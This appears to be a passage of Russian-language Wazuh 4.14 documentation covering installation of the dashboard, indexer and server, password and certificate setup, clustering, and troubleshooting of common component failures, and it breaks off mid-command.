Отредактируйте файл `/usr/share/wazuh-dashboard/data/wazuh/config/wazuh.yml`:

```yaml
hosts:
  - default:
      url: https://<IP_СЕРВЕРА_WAZUH>
      port: 55000
      username: wazuh-wui
      password: <WUI_PASSWORD>
      run_as: true
```

Замените `<IP_СЕРВЕРА_WAZUH>` на IP-адрес узла с Wazuh Manager и `<WUI_PASSWORD>` на пароль пользователя `wazuh-wui`.

## Первый вход

Откройте браузер и перейдите по адресу:

```
https://<IP_ДАШБОРДА>
```

Учетные данные по умолчанию:

- **Логин:** `admin`
- **Пароль:** `admin`

Браузер отобразит предупреждение о самоподписанном сертификате. Подтвердите исключение для продолжения.

## Смена паролей по умолчанию

Для production-среды необходимо сменить все пароли по умолчанию.

### Смена всех паролей (рекомендуется)

```bash
/usr/share/wazuh-indexer/plugins/opensearch-security/tools/wazuh-passwords-tool.sh \
  --api --change-all --admin-user wazuh --admin-password wazuh
```

Эта команда изменит пароли всех внутренних пользователей, включая `admin` и `wazuh-wui`.

### Смена пароля конкретного пользователя

```bash
/usr/share/wazuh-indexer/plugins/opensearch-security/tools/wazuh-passwords-tool.sh \
  --user admin --password <НОВЫЙ_ПАРОЛЬ> --admin-user wazuh --admin-password wazuh
```

После смены паролей обновите конфигурацию подключения в `/usr/share/wazuh-dashboard/data/wazuh/config/wazuh.yml` и перезапустите дашборд:

```bash
systemctl restart wazuh-dashboard
```

Также обновите учетные данные в keystore Filebeat на сервере:

```bash
echo <НОВЫЙ_ПАРОЛЬ> | filebeat keystore add password --stdin --force
systemctl restart filebeat
```

## Использование собственных сертификатов

Для замены самоподписанных сертификатов на выданные корпоративным или публичным CA:

1. Поместите файлы сертификата, ключа и CA в `/etc/wazuh-dashboard/certs/`
2. Обновите пути в `/etc/wazuh-dashboard/opensearch_dashboards.yml`:

```yaml
server.ssl.enabled: true
server.ssl.certificate: /etc/wazuh-dashboard/certs/your-cert.pem
server.ssl.key: /etc/wazuh-dashboard/certs/your-key.pem
opensearch.ssl.certificateAuthorities: ["/etc/wazuh-dashboard/certs/your-ca.pem"]
```

3. Установите права доступа:

```bash
chmod 400 /etc/wazuh-dashboard/certs/*
chown -R wazuh-dashboard:wazuh-dashboard /etc/wazuh-dashboard/certs
```

4. Перезапустите службу:

```bash
systemctl restart wazuh-dashboard
```

## Устранение неполадок

### Дашборд не запускается

```bash
journalctl -u wazuh-dashboard -xe
```

Частые причины:

- Порт 443 занят другим процессом (например, Apache или Nginx)
- Ошибки в `opensearch_dashboards.yml` - проверьте YAML-синтаксис
- Неправильные права на сертификаты

### Ошибка подключения к индексатору

- Проверьте доступность индексатора: `curl -k -u admin https://<IP_ИНДЕКСАТОРА>:9200`
- Убедитесь, что `opensearch.hosts` содержит корректный URL
- Проверьте сертификаты в `/etc/wazuh-dashboard/certs/`

### Ошибка "Wazuh API is not reachable"

- Проверьте доступность API: `curl -sk -u wazuh-wui:<PASSWORD> -X POST "https://<IP_СЕРВЕРА>:55000/security/user/authenticate"`
- Убедитесь в корректности URL, порта и учетных данных в `wazuh.yml`
- Проверьте статус Wazuh Manager: `systemctl status wazuh-manager`

### Страница загружается без данных

- Дождитесь индексации данных (может занять несколько минут после первого запуска)
- Проверьте наличие индексов: `curl -k -u admin https://<IP_ИНДЕКСАТОРА>:9200/_cat/indices?v`
- Убедитесь, что Filebeat отправляет данные: `filebeat test output` на сервере

## Отключение автоматических обновлений

**Ubuntu / Debian:**

```bash
sed -i "s/^deb /#deb /" /etc/apt/sources.list.d/wazuh.list
apt-get update
```

**CentOS / RHEL:**

```bash
sed -i "s/^enabled=1/enabled=0/" /etc/yum.repos.d/wazuh.repo
```

## Дальнейшие шаги

- [Установка Wazuh Agent](/docs/wazuh/installation/wazuh-agent-installation/) - развертывание агентов на конечных точках
- [Компоненты Wazuh](/docs/wazuh/getting-started/wazuh-components/) - описание каждого компонента платформы
- [Удаление Wazuh](/docs/wazuh/installation/wazuh-uninstalling/) - процедура удаления компонентов


---

# Установка Wazuh Indexer 4.14 - пошаговое руководство

Source: https://opennix.org/docs/wazuh/installation/wazuh-indexer-installation/


Wazuh Indexer - это компонент платформы, основанный на OpenSearch, который отвечает за хранение, индексацию и поиск данных безопасности. Данное руководство описывает пошаговую установку индексатора в распределенной конфигурации. Для быстрой установки всех компонентов на одном хосте используйте [быстрый старт](/docs/wazuh/installation/wazuh-quickstart/).

## Предварительные требования

### Аппаратные требования

| Параметр | Минимум | Рекомендация |
|---|---|---|
| CPU | 2 ядра | 8 ядер |
| RAM | 4 ГБ | 16 ГБ |
| Диск | 50 ГБ | Зависит от объема данных |

Полная таблица требований приведена в [обзоре установки](/docs/wazuh/installation/).

### Поддерживаемые ОС

- Amazon Linux 2, Amazon Linux 2023
- CentOS Stream 10
- Red Hat Enterprise Linux 7, 8, 9, 10
- Ubuntu 16.04, 18.04, 20.04, 22.04, 24.04

### Сетевые требования

- Порт 9200/TCP - REST API (HTTPS)
- Порт 9300-9400/TCP - межузловая коммуникация кластера
- Доступ к `packages.wazuh.com` для загрузки пакетов

## Генерация сертификатов

Wazuh использует TLS-сертификаты для шифрования коммуникации между всеми компонентами. Сертификаты генерируются один раз и распределяются по всем узлам.

### Загрузка инструментов

```bash
curl -sO https://packages.wazuh.com/4.14/wazuh-certs-tool.sh
curl -sO https://packages.wazuh.com/4.14/config.yml
```

### Настройка конфигурации узлов

Отредактируйте файл `config.yml`, указав IP-адреса всех узлов платформы:

```yaml
nodes:
  indexer:
    - name: node-1
      ip: "<IP_ИНДЕКСАТОРА_1>"
    - name: node-2
      ip: "<IP_ИНДЕКСАТОРА_2>"
    - name: node-3
      ip: "<IP_ИНДЕКСАТОРА_3>"

  server:
    - name: wazuh-1
      ip: "<IP_СЕРВЕРА>"

  dashboard:
    - name: dashboard
      ip: "<IP_ДАШБОРДА>"
```

Для одноузловой конфигурации индексатора оставьте только один элемент в секции `indexer`.

### Генерация сертификатов

```bash
bash ./wazuh-certs-tool.sh -A
```

Скрипт создаст директорию `wazuh-certificates/` с сертификатами для всех узлов.

### Упаковка и распространение

```bash
tar -cvf ./wazuh-certificates.tar -C ./wazuh-certificates/ .
rm -rf ./wazuh-certificates
```

Скопируйте файл `wazuh-certificates.tar` на все узлы платформы. Этот архив потребуется при установке каждого компонента.

## Добавление репозитория

### Ubuntu / Debian

```bash
apt-get install gnupg apt-transport-https
curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | gpg --no-default-keyring \
  --keyring gnupg-ring:/usr/share/keyrings/wazuh.gpg --import && chmod 644 /usr/share/keyrings/wazuh.gpg
echo "deb [signed-by=/usr/share/keyrings/wazuh.gpg] https://packages.wazuh.com/4.x/apt/ stable main" \
  | tee -a /etc/apt/sources.list.d/wazuh.list
apt-get update
```

### CentOS / RHEL 8 и ранее (YUM)

```bash
rpm --import https://packages.wazuh.com/key/GPG-KEY-WAZUH
echo -e '[wazuh]\ngpgcheck=1\ngpgkey=https://packages.wazuh.com/key/GPG-KEY-WAZUH\nenabled=1\nname=EL-$releasever - Wazuh\nbaseurl=https://packages.wazuh.com/4.x/yum/\nprotect=1' \
  | tee /etc/yum.repos.d/wazuh.repo
```

### RHEL 9+ / CentOS Stream 10 (DNF)

```bash
rpm --import https://packages.wazuh.com/key/GPG-KEY-WAZUH
echo -e '[wazuh]\ngpgcheck=1\ngpgkey=https://packages.wazuh.com/key/GPG-KEY-WAZUH\nenabled=1\nname=EL-$releasever - Wazuh\nbaseurl=https://packages.wazuh.com/4.x/yum/\npriority=1' \
  | tee /etc/yum.repos.d/wazuh.repo
```

## Установка пакета

### Ubuntu / Debian

```bash
apt-get install debconf adduser procps
apt-get -y install wazuh-indexer
```

### CentOS / RHEL

```bash
yum -y install wazuh-indexer
```

## Настройка opensearch.yml

Отредактируйте файл `/etc/wazuh-indexer/opensearch.yml`:

```yaml
network.host: "<IP_ЭТОГО_УЗЛА>"
node.name: "node-1"

cluster.initial_master_nodes:
  - "node-1"
  - "node-2"
  - "node-3"

discovery.seed_hosts:
  - "<IP_ИНДЕКСАТОРА_1>"
  - "<IP_ИНДЕКСАТОРА_2>"
  - "<IP_ИНДЕКСАТОРА_3>"

plugins.security.nodes_dn:
  - "CN=node-1,OU=Wazuh,O=Wazuh,L=California,C=US"
  - "CN=node-2,OU=Wazuh,O=Wazuh,L=California,C=US"
  - "CN=node-3,OU=Wazuh,O=Wazuh,L=California,C=US"
```

Для одноузловой конфигурации укажите только один узел во всех секциях и добавьте:

```yaml
discovery.type: single-node
```

### Ключевые параметры

| Параметр | Описание |
|---|---|
| `network.host` | IP-адрес, на котором индексатор принимает соединения |
| `node.name` | Уникальное имя узла, должно совпадать с именем в `config.yml` |
| `cluster.initial_master_nodes` | Список узлов для начальной инициализации кластера |
| `discovery.seed_hosts` | IP-адреса узлов для обнаружения кластера |
| `plugins.security.nodes_dn` | DN сертификатов узлов для взаимной аутентификации |

## Развертывание сертификатов

```bash
NODE_NAME=node-1

mkdir /etc/wazuh-indexer/certs
tar -xf ./wazuh-certificates.tar -C /etc/wazuh-indexer/certs/ \
  ./$NODE_NAME.pem ./$NODE_NAME-key.pem ./admin.pem ./admin-key.pem ./root-ca.pem

mv -n /etc/wazuh-indexer/certs/$NODE_NAME.pem /etc/wazuh-indexer/certs/indexer.pem
mv -n /etc/wazuh-indexer/certs/$NODE_NAME-key.pem /etc/wazuh-indexer/certs/indexer-key.pem

chmod 500 /etc/wazuh-indexer/certs
chmod 400 /etc/wazuh-indexer/certs/*
chown -R wazuh-indexer:wazuh-indexer /etc/wazuh-indexer/certs
```

Замените `node-1` на имя текущего узла, указанное в `config.yml`.

## Запуск службы

```bash
systemctl daemon-reload
systemctl enable wazuh-indexer
systemctl start wazuh-indexer
```

Повторите шаги установки, настройки и развертывания сертификатов на каждом узле индексатора.

## Инициализация кластера безопасности

После запуска всех узлов индексатора выполните инициализацию безопасности на одном из узлов:

```bash
/usr/share/wazuh-indexer/bin/indexer-security-init.sh
```

Эта команда загружает конфигурацию безопасности (роли, пользователи, разрешения) в индексатор. Выполняется только один раз для всего кластера.

## Настройка многоузлового кластера

При развертывании кластера из нескольких узлов:

1. Выполните генерацию сертификатов с указанием всех узлов в `config.yml`
2. Установите пакет `wazuh-indexer` на каждом узле
3. На каждом узле настройте `opensearch.yml` с уникальным `node.name` и `network.host`
4. Разверните соответствующие сертификаты на каждом узле
5. Запустите службу на всех узлах
6. Выполните `indexer-security-init.sh` на любом одном узле

Все узлы должны использовать одинаковые значения `cluster.initial_master_nodes` и `discovery.seed_hosts`.

## Настройка JVM Heap

По умолчанию JVM heap устанавливается в 1 ГБ. Для production-среды рекомендуется увеличить это значение.

Отредактируйте файл `/etc/wazuh-indexer/jvm.options`:

```
-Xms4g
-Xmx4g
```

Рекомендации по настройке:

- Установите `-Xms` и `-Xmx` на одинаковое значение
- Не выделяйте более 50% доступной RAM
- Не превышайте 32 ГБ (порог compressed oops в JVM)
- Для 16 ГБ RAM оптимальное значение - 8 ГБ heap

После изменения перезапустите службу:

```bash
systemctl restart wazuh-indexer
```

## Проверка установки

### Проверка доступности узла

```bash
curl -k -u admin https://<IP_ИНДЕКСАТОРА>:9200
```

Ожидаемый ответ:

```json
{
  "name" : "node-1",
  "cluster_name" : "wazuh-cluster",
  "cluster_uuid" : "...",
  "version" : {
    "distribution" : "opensearch",
    "number" : "2.19.4",
    ...
  }
}
```

### Проверка состояния кластера

```bash
curl -k -u admin https://<IP_ИНДЕКСАТОРА>:9200/_cat/nodes?v
```

В выводе должны отображаться все узлы кластера с их ролями.

### Проверка здоровья кластера

```bash
curl -k -u admin https://<IP_ИНДЕКСАТОРА>:9200/_cluster/health?pretty
```

Значение `status` должно быть `green` для полностью работоспособного кластера.

## Устранение неполадок

### Служба не запускается

Проверьте журнал:

```bash
journalctl -u wazuh-indexer -xe
```

Частые причины:

- Недостаточно RAM для JVM heap - уменьшите значения `-Xms`/`-Xmx`
- Порт 9200 или 9300 занят другим процессом
- Ошибки в `opensearch.yml` - проверьте синтаксис YAML

### Ошибки сертификатов

- Убедитесь, что имена файлов сертификатов соответствуют ожидаемым: `indexer.pem`, `indexer-key.pem`, `root-ca.pem`
- Проверьте права доступа: файлы должны иметь права 400, директория - 500
- Владелец должен быть `wazuh-indexer:wazuh-indexer`

### Узлы не образуют кластер

- Проверьте сетевую связность между узлами (порты 9200 и 9300-9400)
- Убедитесь, что `cluster.initial_master_nodes` и `discovery.seed_hosts` содержат одинаковые значения на всех узлах
- Проверьте, что `node.name` уникален на каждом узле

### Ошибка при инициализации безопасности

- Убедитесь, что все узлы запущены перед выполнением `indexer-security-init.sh`
- Проверьте наличие файлов `admin.pem` и `admin-key.pem` в директории сертификатов

## Отключение автоматических обновлений

После успешной установки отключите репозиторий для предотвращения непреднамеренных обновлений:

**Ubuntu / Debian:**

```bash
sed -i "s/^deb /#deb /" /etc/apt/sources.list.d/wazuh.list
apt-get update
```

**CentOS / RHEL:**

```bash
sed -i "s/^enabled=1/enabled=0/" /etc/yum.repos.d/wazuh.repo
```

## Дальнейшие шаги

После установки индексатора переходите к установке сервера:

- [Установка Wazuh Server](/docs/wazuh/installation/wazuh-server-installation/) - следующий компонент в порядке установки
- [Установка Wazuh Dashboard](/docs/wazuh/installation/wazuh-dashboard-installation/) - установка веб-интерфейса


---

# Установка Wazuh Server 4.14 - пошаговое руководство

Source: https://opennix.org/docs/wazuh/installation/wazuh-server-installation/


Wazuh Server - это центральный компонент платформы, который принимает данные от агентов, выполняет анализ событий, применяет правила обнаружения и генерирует оповещения. Сервер включает два основных компонента: Wazuh Manager (обработка событий) и Filebeat (передача данных в индексатор). Перед установкой сервера необходимо завершить [установку Wazuh Indexer](/docs/wazuh/installation/wazuh-indexer-installation/).

## Предварительные требования

### Аппаратные требования

| Параметр | Минимум | Рекомендация |
|---|---|---|
| CPU | 2 ядра | 8 ядер |
| RAM | 2 ГБ | 8 ГБ |
| Диск | 20 ГБ | 50+ ГБ |

### Сетевые требования

| Порт | Назначение |
|---|---|
| 1514/TCP | Прием данных от агентов |
| 1515/TCP | Регистрация агентов |
| 1516/TCP | Кластерная коммуникация серверов |
| 55000/TCP | REST API |

### Зависимости

- Установленный и работающий [Wazuh Indexer](/docs/wazuh/installation/wazuh-indexer-installation/)
- Файл `wazuh-certificates.tar` с сертификатами, созданными при установке индексатора
- Доступ к `packages.wazuh.com`

## Добавление репозитория

### Ubuntu / Debian

```bash
apt-get install gnupg apt-transport-https
curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | gpg --no-default-keyring \
  --keyring gnupg-ring:/usr/share/keyrings/wazuh.gpg --import && chmod 644 /usr/share/keyrings/wazuh.gpg
echo "deb [signed-by=/usr/share/keyrings/wazuh.gpg] https://packages.wazuh.com/4.x/apt/ stable main" \
  | tee -a /etc/apt/sources.list.d/wazuh.list
apt-get update
```

### CentOS / RHEL 8 и ранее (YUM)

```bash
rpm --import https://packages.wazuh.com/key/GPG-KEY-WAZUH
echo -e '[wazuh]\ngpgcheck=1\ngpgkey=https://packages.wazuh.com/key/GPG-KEY-WAZUH\nenabled=1\nname=EL-$releasever - Wazuh\nbaseurl=https://packages.wazuh.com/4.x/yum/\nprotect=1' \
  | tee /etc/yum.repos.d/wazuh.repo
```

### RHEL 9+ / CentOS Stream 10 (DNF)

```bash
rpm --import https://packages.wazuh.com/key/GPG-KEY-WAZUH
echo -e '[wazuh]\ngpgcheck=1\ngpgkey=https://packages.wazuh.com/key/GPG-KEY-WAZUH\nenabled=1\nname=EL-$releasever - Wazuh\nbaseurl=https://packages.wazuh.com/4.x/yum/\npriority=1' \
  | tee /etc/yum.repos.d/wazuh.repo
```

## Установка Wazuh Manager

### Ubuntu / Debian

```bash
apt-get -y install wazuh-manager
```

### CentOS / RHEL

```bash
yum -y install wazuh-manager
```

После установки менеджер запускается автоматически. Проверьте статус:

```bash
systemctl status wazuh-manager
```

## Установка и настройка Filebeat

Filebeat передает оповещения и архивные события из Wazuh Manager в Wazuh Indexer.

### Установка Filebeat

```bash
apt-get -y install filebeat    # Ubuntu / Debian
yum -y install filebeat        # CentOS / RHEL
```

### Загрузка конфигурации

```bash
curl -so /etc/filebeat/filebeat.yml \
  https://packages.wazuh.com/4.14/tpl/wazuh/filebeat/filebeat.yml
```

### Настройка подключения к индексатору

Отредактируйте `/etc/filebeat/filebeat.yml`, указав адрес индексатора:

```yaml
output.elasticsearch:
  hosts: ["<IP_ИНДЕКСАТОРА>:9200"]
  protocol: https
  username: ${username}
  password: ${password}
```

Для кластера из нескольких индексаторов укажите все узлы:

```yaml
output.elasticsearch:
  hosts:
    - "<IP_ИНДЕКСАТОРА_1>:9200"
    - "<IP_ИНДЕКСАТОРА_2>:9200"
    - "<IP_ИНДЕКСАТОРА_3>:9200"
  protocol: https
  username: ${username}
  password: ${password}
```

### Создание хранилища учетных данных

```bash
filebeat keystore create
echo admin | filebeat keystore add username --stdin --force
echo admin | filebeat keystore add password --stdin --force
```

Замените `admin` на актуальные учетные данные для доступа к индексатору.

### Загрузка шаблона и модуля Wazuh

```bash
curl -so /etc/filebeat/wazuh-template.json \
  https://raw.githubusercontent.com/wazuh/wazuh/v4.14.4/extensions/elasticsearch/7.x/wazuh-template.json
chmod go+r /etc/filebeat/wazuh-template.json

curl -s https://packages.wazuh.com/4.x/filebeat/wazuh-filebeat-0.5.tar.gz \
  | tar -xvz -C /usr/share/filebeat/module
```

## Настройка подключения индексатора в ossec.conf

Начиная с Wazuh 4.14, менеджер может напрямую взаимодействовать с индексатором. Настройте учетные данные:

```bash
echo '<INDEXER_USERNAME>' | /var/ossec/bin/wazuh-keystore -f indexer -k username
echo '<INDEXER_PASSWORD>' | /var/ossec/bin/wazuh-keystore -f indexer -k password
```

Отредактируйте `/var/ossec/etc/ossec.conf`, добавив секцию `<indexer>`:

```xml
<indexer>
  <enabled>yes</enabled>
  <hosts>
    <host>https://<IP_ИНДЕКСАТОРА>:9200</host>
  </hosts>
  <ssl>
    <certificate_authorities>
      <ca>/etc/filebeat/certs/root-ca.pem</ca>
    </certificate_authorities>
    <certificate>/etc/filebeat/certs/filebeat.pem</certificate>
    <key>/etc/filebeat/certs/filebeat-key.pem</key>
  </ssl>
</indexer>
```

### Ключевые секции ossec.conf

Файл `/var/ossec/etc/ossec.conf` содержит основную конфигурацию менеджера. Ключевые секции:

| Секция | Описание |
|---|---|
| `<global>` | Общие настройки: email-уведомления, уровень журналирования |
| `<alerts>` | Минимальный уровень оповещений для записи в лог |
| `<remote>` | Настройки приема соединений от агентов |
| `<rootcheck>` | Проверка руткитов |
| `<syscheck>` | Мониторинг целостности файлов (FIM) |
| `<vulnerability-detector>` | Сканирование уязвимостей |
| `<indexer>` | Подключение к Wazuh Indexer |
| `<cluster>` | Кластерная конфигурация |

## Развертывание сертификатов для Filebeat

```bash
NODE_NAME=wazuh-1

mkdir /etc/filebeat/certs
tar -xf ./wazuh-certificates.tar -C /etc/filebeat/certs/ \
  ./$NODE_NAME.pem ./$NODE_NAME-key.pem ./root-ca.pem

mv -n /etc/filebeat/certs/$NODE_NAME.pem /etc/filebeat/certs/filebeat.pem
mv -n /etc/filebeat/certs/$NODE_NAME-key.pem /etc/filebeat/certs/filebeat-key.pem

chmod 500 /etc/filebeat/certs
chmod 400 /etc/filebeat/certs/*
chown -R root:root /etc/filebeat/certs
```

Замените `wazuh-1` на имя узла сервера, указанное в `config.yml` при генерации сертификатов.

## Запуск служб

### Wazuh Manager

```bash
systemctl daemon-reload
systemctl enable wazuh-manager
systemctl start wazuh-manager
```

### Filebeat

```bash
systemctl daemon-reload
systemctl enable filebeat
systemctl start filebeat
```

## Кластерная конфигурация

Wazuh Server поддерживает кластеризацию по модели master/worker для обеспечения отказоустойчивости и масштабирования.

### Настройка master-узла

Отредактируйте `/var/ossec/etc/ossec.conf` на master-узле:

```xml
<cluster>
  <name>wazuh</name>
  <node_name>master-node</node_name>
  <node_type>master</node_type>
  <key>c98b62a9b6169ac5f67dae55ae4a9088</key>
  <port>1516</port>
  <bind_addr>0.0.0.0</bind_addr>
  <nodes>
    <node><IP_MASTER_УЗЛА></node>
  </nodes>
  <hidden>no</hidden>
  <disabled>no</disabled>
</cluster>
```

### Настройка worker-узлов

На каждом worker-узле установите Wazuh Manager и Filebeat, затем отредактируйте `/var/ossec/etc/ossec.conf`:

```xml
<cluster>
  <name>wazuh</name>
  <node_name>worker-01</node_name>
  <node_type>worker</node_type>
  <key>c98b62a9b6169ac5f67dae55ae4a9088</key>
  <port>1516</port>
  <bind_addr>0.0.0.0</bind_addr>
  <nodes>
    <node><IP_MASTER_УЗЛА></node>
  </nodes>
  <hidden>no</hidden>
  <disabled>no</disabled>
</cluster>
```

Ключевые параметры кластера:

| Параметр | Описание |
|---|---|
| `name` | Имя кластера, одинаковое на всех узлах |
| `node_name` | Уникальное имя каждого узла |
| `node_type` | `master` или `worker` |
| `key` | Общий ключ аутентификации (32 символа hex), одинаковый на всех узлах |
| `nodes` | IP-адрес master-узла |

Сгенерируйте ключ кластера:

```bash
openssl rand -hex 16
```

После настройки перезапустите менеджер на всех узлах:

```bash
systemctl restart wazuh-manager
```

## Проверка установки

### Проверка статуса менеджера

```bash
systemctl status wazuh-manager
```

### Проверка Filebeat

```bash
filebeat test output
```

Ожидаемый результат:

```
elasticsearch: https://<IP_ИНДЕКСАТОРА>:9200...
  parse url... OK
  connection...
    parse host... OK
    dns lookup... OK
    addresses: <IP>
    dial up... OK
    TLS...
      security: server's certificate chain verification is enabled
      ...
    talk to server... OK
  ...
```

### Проверка кластера серверов

```bash
/var/ossec/bin/cluster_control -l
```

Команда выводит список всех узлов кластера с их типом, версией и статусом.

### Проверка через REST API

```bash
TOKEN=$(curl -sk -u wazuh-wui:<WUI_PASSWORD> \
  -X POST "https://localhost:55000/security/user/authenticate?raw=true")

curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/manager/info" | python3 -m json.tool
```

## Устранение неполадок

### Менеджер не запускается

```bash
journalctl -u wazuh-manager -xe
cat /var/ossec/logs/ossec.log | tail -50
```

Частые причины:

- Ошибки в `ossec.conf` - проверьте XML-синтаксис: `/var/ossec/bin/wazuh-analysisd -t`
- Порт 1514 или 1515 занят другим процессом
- Недостаточно прав для доступа к файлам конфигурации

### Filebeat не подключается к индексатору

- Проверьте доступность индексатора: `curl -k -u admin https://<IP_ИНДЕКСАТОРА>:9200`
- Убедитесь в корректности учетных данных в keystore
- Проверьте сертификаты: правильные файлы, права доступа 400, владелец root

### Worker не подключается к master

- Убедитесь, что ключ кластера (`<key>`) одинаков на всех узлах
- Проверьте сетевую доступность порта 1516 между узлами
- Убедитесь, что `<nodes>` содержит IP master-узла, а не worker-а

### Агенты не регистрируются

- Проверьте доступность порта 1515 (регистрация) на сервере
- Убедитесь, что firewall не блокирует порты 1514-1515
- Проверьте лог: `cat /var/ossec/logs/ossec.log | grep -i "error\|warn"`

## Отключение автоматических обновлений

**Ubuntu / Debian:**

```bash
sed -i "s/^deb /#deb /" /etc/apt/sources.list.d/wazuh.list
apt-get update
```

**CentOS / RHEL:**

```bash
sed -i "s/^enabled=1/enabled=0/" /etc/yum.repos.d/wazuh.repo
```

## Дальнейшие шаги

- [Установка Wazuh Dashboard](/docs/wazuh/installation/wazuh-dashboard-installation/) - следующий компонент в порядке установки
- [Установка Wazuh Agent](/docs/wazuh/installation/wazuh-agent-installation/) - развертывание агентов на конечных точках
- [Архитектура Wazuh](/docs/wazuh/getting-started/wazuh-architecture/) - подробное описание архитектуры платформы


---

# Устранение неполадок Wazuh 4.14 - диагностика

Source: https://opennix.org/docs/wazuh/operations/wazuh-troubleshooting/


Диагностика проблем Wazuh начинается с определения неисправного компонента и анализа соответствующих журналов. В этом руководстве систематизированы типичные проблемы по компонентам, приведены команды для диагностики и пошаговые инструкции по устранению. Материал охватывает менеджер, агенты, индексатор, дашборд и вопросы производительности.

## Расположение журналов

Для диагностики любой проблемы Wazuh необходимо знать расположение журналов каждого компонента.

| Компонент | Журнал | Описание |
|---|---|---|
| Wazuh Manager | `/var/ossec/logs/ossec.log` | Основной журнал менеджера |
| Wazuh Manager | `/var/ossec/logs/api.log` | Журнал REST API |
| Wazuh Manager | `/var/ossec/logs/cluster.log` | Журнал кластера менеджеров |
| Wazuh Agent | `/var/ossec/logs/ossec.log` (Linux/macOS) | Журнал агента |
| Wazuh Agent | `C:\Program Files (x86)\ossec-agent\ossec.log` (Windows) | Журнал агента Windows |
| Wazuh Indexer | `/var/log/wazuh-indexer/wazuh-indexer.log` | Журнал индексатора |
| Wazuh Indexer | `/var/log/wazuh-indexer/wazuh-indexer_deprecation.log` | Предупреждения об устаревании |
| Wazuh Dashboard | `/var/log/wazuh-dashboard/opensearch_dashboards.log` | Журнал дашборда |
| Filebeat | `/var/log/filebeat/filebeat` | Журнал Filebeat |

## Менеджер не запускается

### Проверка статуса сервиса

```bash
systemctl status wazuh-manager
journalctl -u wazuh-manager -n 100
```

### Проверка конфигурации

Наиболее частая причина - ошибка в `ossec.conf`:

```bash
/var/ossec/bin/wazuh-control config-test
```

Если команда возвращает ошибку, исправьте указанную строку в `/var/ossec/etc/ossec.conf` и повторите проверку.

### Типичные ошибки конфигурации

**Незакрытый XML-тег:**

```
ERROR: (1226): Error reading XML file '/var/ossec/etc/ossec.conf'
```

Проверьте файл на корректность XML-разметки. Используйте `xmllint` для быстрой проверки:

```bash
xmllint --noout /var/ossec/etc/ossec.conf
```

**Некорректный путь к файлу правил или декодеров:**

```
ERROR: (1202): Missing file '/var/ossec/etc/rules/custom_rule.xml'
```

Убедитесь, что все файлы, указанные в секции `<ruleset>`, существуют.

**Конфликт портов:**

```bash
ss -tlnp | grep -E '1514|1515|55000'
```

Если порты заняты другим процессом, измените настройки в `ossec.conf` или завершите конфликтующий процесс.

### Проблемы с правами доступа

Все файлы в `/var/ossec/` должны принадлежать пользователю `wazuh`:

```bash
chown -R wazuh:wazuh /var/ossec/etc/rules/
chown -R wazuh:wazuh /var/ossec/etc/decoders/
systemctl restart wazuh-manager
```

## Агенты не подключаются

Проблемы с подключением агентов - наиболее частая категория обращений. Диагностику следует проводить последовательно.

### Проверка сетевой доступности

С хоста агента проверьте доступность портов менеджера:

```bash
# Порт регистрации
nc -zv MANAGER_IP 1515

# Порт обмена данными
nc -zv MANAGER_IP 1514
```

Если порты недоступны, проверьте правила файрвола на менеджере:

```bash
# iptables
iptables -L -n | grep -E '1514|1515'

# firewalld
firewall-cmd --list-ports
```

### Проверка регистрации агента

На менеджере проверьте, зарегистрирован ли агент:

```bash
/var/ossec/bin/manage_agents -l
```

Или через API:

```bash
TOKEN=$(curl -sk -u wazuh-wui:<PASSWORD> \
  -X POST "https://localhost:55000/security/user/authenticate?raw=true")

curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/agents?name=AGENT_NAME" \
  | jq '.data.affected_items[]'
```

### Несовпадение ключей

Если агент зарегистрирован, но не подключается, возможно несовпадение ключей. На агенте:

```bash
cat /var/ossec/etc/client.keys
```

На менеджере:

```bash
grep "AGENT_NAME" /var/ossec/etc/client.keys
```

Ключи должны совпадать. При несовпадении удалите агента и зарегистрируйте заново:

```bash
# На менеджере
/var/ossec/bin/manage_agents -r AGENT_ID

# На агенте - повторите процедуру регистрации
```

### Проблемы с SSL-сертификатами

При использовании автоматической регистрации (authd) проверьте сертификаты:

```bash
# На менеджере
openssl x509 -in /var/ossec/etc/sslmanager.cert -text -noout | grep "Not After"
```

Истекший сертификат препятствует регистрации новых агентов.

### Журнал агента

На хосте агента проверьте журнал:

```bash
# Linux
tail -50 /var/ossec/logs/ossec.log

# Windows (PowerShell)
Get-Content "C:\Program Files (x86)\ossec-agent\ossec.log" -Tail 50
```

Типичные сообщения об ошибках:

| Сообщение | Причина | Решение |
|---|---|---|
| `Unable to connect to MANAGER_IP:1514` | Сеть или файрвол | Проверьте маршрутизацию и правила файрвола |
| `Invalid key` | Несовпадение ключей | Переregister агент |
| `Manager not found` | Некорректный адрес менеджера | Проверьте `ossec.conf` агента |
| `Agent key not found` | Агент не зарегистрирован | Зарегистрируйте агента на менеджере |

## Проблемы индексатора

### Индексатор не запускается

```bash
systemctl status wazuh-indexer
journalctl -u wazuh-indexer -n 100
cat /var/log/wazuh-indexer/wazuh-indexer.log | tail -50
```

### Недостаточно дискового пространства

Индексатор прекращает запись при заполнении диска выше порогового значения (по умолчанию 95%):

```bash
df -h /var/lib/wazuh-indexer/
```

Для освобождения пространства удалите старые индексы:

```bash
# Список индексов по размеру
curl -sk -u admin:<PASSWORD> \
  "https://localhost:9200/_cat/indices/wazuh-alerts-*?v&s=store.size:desc"

# Удаление старых индексов
curl -sk -u admin:<PASSWORD> \
  -X DELETE "https://localhost:9200/wazuh-alerts-4.x-2024.01.*"
```

Снимите блокировку записи после освобождения пространства:

```bash
curl -sk -u admin:<PASSWORD> \
  -X PUT "https://localhost:9200/_cluster/settings" \
  -H "Content-Type: application/json" \
  -d '{
    "persistent": {
      "cluster.routing.allocation.disk.watermark.flood_stage": "95%",
      "cluster.routing.allocation.disk.watermark.high": "90%",
      "cluster.routing.allocation.disk.watermark.low": "85%"
    }
  }'

curl -sk -u admin:<PASSWORD> \
  -X PUT "https://localhost:9200/_all/_settings" \
  -H "Content-Type: application/json" \
  -d '{"index.blocks.read_only_allow_delete": null}'
```

### Проблемы с JVM

**OutOfMemoryError:**

Увеличьте размер heap в `/etc/wazuh-indexer/jvm.options`:

```
-Xms4g
-Xmx4g
```

Рекомендация: выделяйте не более 50% оперативной памяти хоста, но не более 32 ГБ.

```bash
systemctl restart wazuh-indexer
```

### Кластер в статусе red

```bash
# Проверка состояния кластера
curl -sk -u admin:<PASSWORD> \
